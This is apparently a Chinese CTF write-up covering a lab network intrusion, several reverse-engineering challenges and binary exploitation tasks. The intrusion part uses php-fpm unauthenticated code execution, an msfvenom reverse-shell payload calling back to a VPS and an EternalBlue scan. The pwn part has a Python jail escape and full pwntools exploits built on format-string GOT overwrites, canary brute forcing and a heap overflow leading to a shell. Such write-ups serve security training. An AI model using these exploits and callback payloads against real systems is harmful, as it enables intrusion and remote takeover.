先摸索一下,目前是已经拿到外网隔离的mysql数据库服务器的一个mysql权限的shell。因为外网隔离,所以无法直接下载工具以及反弹shell之类
当然可以看arp表,或者对ip进行存活进行判断。
工具上传还是需要依靠sql注入写入文件。

10.10.10.200存在9000端口,可以php-fpm未授权访问

python fpm.py 10.10.10.200 /usr/share/pear/PEAR.php -c '<?php system("id");?>'

这台是能够访问到外网,所以可以反弹shell回来。进入10.10.10.200服务器!为了方便后面的渗透,上一个msf

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=vpsip LPORT=port -f elf > shell.elf

从前面的拓扑图来看,10段的服务器差不多弄完了,现在向9段进行渗透。

偷偷PS:10.10.10.250和10.10.9.250 是路由器,本来想考一下路由器方面的,可惜模拟器有问题。

run autoroute -s 10.10.9.0

用最近的永恒之蓝扫一发

use auxiliary/scanner/smb/smb_ms17_010

后面差不多就是打进去之后再劫持一下管理员的会话就可以拿到flag。

re

RestoreMe

题目在去调试信息后找到绑定的加密函数反而变得简单。
sub_4028D0和sub_402970分别对两个加密类绑定。
v4->m128i_i32[2] = (__int32)sub_4013C0;第一个加密函数,是对文件的字节全部倒序。
v4->m128i_i32[2] = (__int32)sub_401440;第二个加密函数,是对文件字节横向生成二叉树后翻转二叉树。
sub_401640函数是使用队列将二叉树再横向地复制到数组。最后将数组写入文件。得到加密后的文件。
根据pyc的格式,开头魔数为03 f3 0d 0a发现缺少一字节。补齐后即可反编译得到py脚本。脚本是一个小游戏。得到一个数字序列。
Game部分,将py文件放在C:/Python27/Lib目录下,Game.exe即可运行,Game部分需要满足两个条件:

  1. 是脚本得到的数字序列。
  2. 得到md5是77be496aa517273f850f78f7425c76bb的字符串所需的数字序列。
    sub_403EA0函数将数字序列转为操作数,操作数会改变已知字符串FCSRKMOFYsub_402150计算变化后的字符串的md5。即需要将FCSRKMOFY变化为FROMOFSYC。一个类似python的load和store的操作,数字0和1分别对应两种操作,操作数后加字符数组的索引。再加附加条件v1[47] - v1[45] == 1 && v1[43] - v1[41] == 1 && !v1[48],确定后半段数字序列为08091819。

由两部分得到一个完整的48个数字的序列。
由于满足脚本的数字序列并不唯一,使得该题的解不唯一。

RESon

引用Nu1L的wp

Re100

引用Nu1L的wp

Re150

首先修复一下该程序:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <assert.h>
#include <elf.h>

#define ENTRY 0x08048320
#define FILE_OFF 0x320
#define COUNT 0x432

int main(int argc,char *argv[]){
    Elf32_Ehdr ehdr;
    unsigned char buf[COUNT] = {0};
    assert(argc == 2);

    int fd = open(argv[1],O_RDWR);//打开文件
    assert(fd>0);

    assert(lseek(fd,0,SEEK_SET)!=-1);//读取elf头
    assert(read(fd,&ehdr,sizeof(ehdr)) == sizeof(ehdr));
    ehdr.e_entry = ENTRY;//修改入口地址

    assert(lseek(fd,0,SEEK_SET)!=-1);//回写elf头
    assert(write(fd,&ehdr,sizeof(ehdr)) == sizeof(ehdr));

    //解密
    assert(lseek(fd,FILE_OFF,SEEK_SET)!=-1);//读取被加密的代码
    assert(read(fd,buf,COUNT) == COUNT);
    int i = 0;
    while(i<COUNT){
        buf[i] = (buf[i]^66)<<5 | (buf[i]^66)>>3;
        i++;
    }

    assert(lseek(fd,FILE_OFF,SEEK_SET)!=-1);//写入
    assert(write(fd,buf,COUNT) == COUNT);

    close(fd);

    return 0;
}

然后IDA中去花,分析得到算法

#include <stdio.h>

unsigned char code[]={0x73,0x8D,0xF2,0x4C,0xC7,0xD4,0x7B,0xF7,0x18,0x32,0x71,0xD,0xCF,0xDC,0x67,0x4F,0x7F,0xB,0x6D,0};

int main(void){
    int i = 0;

    while(code[i]){
        code[i] = code[i]^32;
        i++;
    }

    i = 0;
    while(code[i]){
        code[i] = ((code[i]^i)<<(i%8)) |  ((code[i]^i)>>(8 - (i%8)));
        i++;
    }

    printf("%s\n",code);
    return 0;
}

最后得到flag:
SYC{>>Wh06m1>>R0Ot}

白师傅的嘲讽

X语言(类似C语言):

0.主函数:110
1.标识符可用的字符集合:0123456789
2.数字:!@#$%^&*() (对应于数字1234567890)
3.运算符:Q(逻辑与)、W(逻辑或)、A(加)、S(减)、D(乘)、F(除)、G(大于)、H(小于)、J(等于)、K(不等于)、L(赋值)、Z(大于等于)、X(小于等于)、C(自增)、V(自减)、B(左括号)、N(右括号)、取地址(‘)、解引用(~)
4.数据类型:4字节(120)、2字节(911)、1字节(119)、指针(~)、数组(<>)
5.控制语句:判断(||)、循环(//)、continue(??)、break(::)
6.语句集合: 开始(,)、结束(.)
7.函数退出语句:(;;)
8.每条语句的结束:`
9.逗号:-

该程序的目的是让用户写一个“排序程序”。其对应代码如下(下面写的代码是冒泡排序):

120 110BN,
    120 ~00`
    120 ~11`
    120 22`
    120 33`
    120 44`

    11 L )`
    22 L !`
    33 L )`
    44 L )`

    //B 22 H @) N,

        33 L )`
        //B 33 H @) S 22 N,
            11 L 33 D $`
            00 L 11 A $`
            ||B ~11 G ~00 N,
                44 L ~00`
                ~00 L ~11`
                ~11 L 44`
            .
            C33`
        .

        C22`
    .

.


将其发送到服务器,得到flag:
SYC{rm-rf_/*_}

pwn

Escape From Jail

Python的 Jail,过滤是这样的。

filtered    = '\'|.|input|if|else|eval|exit|import|quit|exec|code|const|vars|str|chr|ord|local|global|join|format|replace|translate|try|except|with|content|frame|back'.split('|')

通过查看python的builtins,得知可以使用getattr去调用函数。

getattr(os,"system")("/bin/sh")

起shell之后直接读flag就行了。

Just Drink Lemon Water

格式化字符串盲打,先dump bin file,确定got表;之后使用任意地址读漏洞泄露system addr…

但是比赛的时候出题人失误…把pwn100 和pwn300配置到了同一台server…导致libc直接给了的,很多队伍直接用pwn3的libc做的,也有利用其他pwn拖了libc做的。

由于不可控制的外因…虚拟机炸了文件没备份TAT

这里贴一下CNSS ETenal师傅的exp好了

from pwn import *

printf_got = 0x601040

def leak_addr(addr):
    p.recvuntil('[*]Give me your lemon:')
    p.sendline("%7$sABCD" + p64(addr))
    result = p.recvuntil('ABCD')
    result = result[result.find(' : ') + 3:len(result) - 4]
    return result

def align_num(s):
    length = len(s)
    num=8
    while num<length:
        num+=8
    return num-length


p = remote('54.222.255.223' ,50001)
pwn_elf = ELF('/root/syctf/libc')
printf_addr = leak_addr(printf_got) + '\x00\x00'
print (hex(u64(printf_addr)))
libc_base = u64(printf_addr) - pwn_elf.symbols['printf']

context.clear(arch = 'amd64')
target = libc_base + pwn_elf.symbols['system']
printf_addr = libc_base + pwn_elf.symbols['printf']
high_byte = target >> 32
mid_byte = (target >> 16) % 0x10000
low_byte = target % 0x10000

while (mid_byte<low_byte):
    mid_byte+=0x10000

while (high_byte<mid_byte):
    high_byte+=0x10000

print (hex(target),hex(high_byte),hex(mid_byte),hex(low_byte))
payload = ''
payload += '%'+str(low_byte)+'x%10$hn'
payload += '%'+str(mid_byte-low_byte)+'x%11$hn'
payload += 'A'*align_num(payload)
print (len(payload))
payload += p64(printf_got)
payload += p64(printf_got+2)
printf_addr = leak_addr(printf_got) + '\x00\x00'
print (hex(u64(printf_addr)))

#payload = fmtstr_payload(6,{printf_got:target}, write_size='int')
print (payload.encode('hex'),payload)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

Tiny FileShare

漏洞明显,login函数的栈溢出,leave_message函数的格式化字符串。

程序是forkserver的,所以思路很简单,leak canary 或者 crack canary,再使用栈溢出或者fmt直接覆盖返回地值拿到flag。

exp如下:

# -*- coding: utf-8 -*-
#!/usr/bin/env python2
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

LOCAL = False

env = {'LD_PRELOAD':'libc.so.6'}

offset_2_send_flag = 0x6d5

if LOCAL:
    p = process('filename',env=env)
    #p = process('filename',raw=False)
    #this for Windows10 subsystem
else:
    p = remote('54.222.255.223',50002)


def login(usr_name,name='guest'):
    p.recvuntil(name)
    p.sendline('1')
    p.recvuntil('Name:')
    p.sendline(str(usr_name))

def get_file(filename,name='guest'):
    p.recvuntil(guest)
    p.sendline('2')
    p.recvuntil('filename:')
    p.sendline(str(filename))

def leave_msg(msg,name='guest'):
    p.recvuntil(name)
    p.sendline('3')
    p.recvuntil('msg:')
    p.sendline(str(msg))

def crack_canary():
    canary = "\x00"
    while True:
        if len(canary) == 8:
            break
        for item in range(0xff):
            canary_tmp = canary + chr(item)
            try:
                p = remote('127.0.0.1',2333)
                sleep(0.1)
                payload = "A"*0x28
                payload += canary_tmp
                p.sendline('1')
                p.recvuntil('Name:')
                p.send(payload)
                data = p.recv(100,timeout=1)
                if "Login" in data:
                    canary += chr(item)
                    log.info("get:{0}".format(hex(item)))
                    break
                p.close()
            except:
                continue
    raw_input("now,stop")
    log.info("[*] canary:{0}".format(hex(u64(canary))))
    return canary

def main():
    '''
    leave_msg('%26$016lx%30$016lx')
    p.recvuntil('msg:')
    canary = int(p.recvn(16), 16)
    base_addr = int(p.recvn(16), 16)
    '''

    payload = "%28$p"
    leave_msg(payload)
    p.recvuntil('msg:')
    leak = int(p.recvline()[2:],16)
    log.info("leak:{0}".format(hex(leak)))
    send_flag_addr = leak - offset_2_send_flag
    log.info("get flag:{0}".format(hex(send_flag_addr)))
    #canary = 0x0
    canary = 0x5635836ebd5b1d29 
    raw_input('aaa')
    pl = 'A' * 0x28 + p64(canary) + 'BBBBBBBB' + p64(send_flag_addr)
    login(pl)

    p.interactive()

if __name__ == '__main__':
    main()

Notebook

简单的堆的利用,漏洞也挺多的: mark结构体堆溢出、UAF。又因为使用的是malloc,所以释放后的堆信息不清空,使用fastbin就可以信息泄露,然后堆溢出劫持函数指针,完成exploit。

exp如下:

# -*- coding: utf-8 -*-
#!/usr/bin/env python2
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

LOCAL = False

env = {'LD_PRELOAD':'libc.so.6'}

if LOCAL:
    p = process('./pwn3',env=env)
    #p = process('filename',raw=False)
    #this for Windows10 subsystem
else:
    p = remote('54.222.255.223',50003)

atoi_got_plt = 0x602088

def new(size,name,content):
    p.recvuntil('$ ')
    p.sendline('new')
    p.recvuntil('size:')
    p.sendline(str(size))
    p.recvuntil('name:')
    p.sendline(str(name))
    p.recvuntil('content:')
    p.sendline(str(content))

def edit(index,new_name,new_content):   
    p.recvuntil('$ ')
    p.sendline('edit')
    p.recvuntil('index:')
    p.sendline(str(index))
    p.recvuntil('name:')
    p.sendline(str(new_name))
    p.recvuntil('content:')
    p.sendline(str(new_content))

def delete(index):
    p.recvuntil('$ ')
    p.sendline('delete')
    p.recvuntil('index:')
    p.sendline(str(index))

def show(index):
    p.recvuntil('$ ')
    p.sendline('show')
    p.recvuntil('index:')
    p.sendline(str(index))

def mark(note_idx,mark_content):
    p.recvuntil('$ ')
    p.sendline('mark')
    p.recvuntil('mark:')
    p.sendline(str(note_idx))
    p.recvuntil('info:')
    p.sendline(str(mark_content))

def show_mark(mark_idx):
    p.recvuntil('$ ')
    p.sendline('show_mark')
    p.recvuntil('index:')
    p.sendline(str(mark_idx))

def delete_mark(mark_idx):
    p.recvuntil('$ ')
    p.sendline('delete_mark')
    p.recvuntil('index:')
    p.sendline(str(mark_idx))

def edit_mark(mark_idx,new_content):
    p.recvuntil('$ ')
    p.sendline('edit_mark')
    p.recvuntil('index:')
    p.sendline(str(mark_idx))
    p.recvuntil('content:')
    p.send(str(new_content))


def main():

    new(32,'muhe','aaaa') #note 0
    mark(0,'bbbb')        #mark 0
    delete_mark(0)
    new(24,'leak','AAAA') #note 1
    show(1)
    p.recvuntil('AAAA')
    leak = p.recvline()
    heap_addr = u64(leak[4:12].ljust(8,'\x00'))
    show_info_func_addr = u64(leak[12:20].ljust(8,'\x00'))
    base_addr = show_info_func_addr - 0xc43
    log.info("heap_addr:{0}".format(hex(heap_addr)))
    log.info("show_info:{0}".format(hex(show_info_func_addr)))
    log.info("base_addr:{0}".format(hex(base_addr)))
    #now,I get heap addr && base addr ------------ malloc unclear
    free_got_offset = 0x202F38
    free_got = base_addr + free_got_offset

    #now,let's leak func addr ------ heap overflow
    mark(0,'BBBB')       #mark 0
    mark(1,'CCCC')       #mark 1
    edit_mark(0,'A' * 56 + p64(free_got))
    show_mark(1)
    free_addr = u64(p.recvline().strip().ljust(8,'\x00'))
    log.info("free_addr:{0}".format(hex(free_addr)))
    #system_offset = 0x3c780
    system_offset = 0x3d150
    system_addr = free_addr - system_offset
    log.info("system addr:{0}".format(hex(system_addr)))

    raw_input('go')
    #get shell
    new(32,'/bin/sh\0','/bin/sh\0') # note 2
    mark(2,'get shell') #mark 2
    delete_mark(2)
    bin_sh_offset = 0x118
    binsh_addr = heap_addr + bin_sh_offset
    payload = 'B' * 8 + p64(binsh_addr) + p64(system_addr)
    new(24,'AAAA',payload)
    show_mark(2)


    p.interactive()

if __name__ == '__main__':
    main()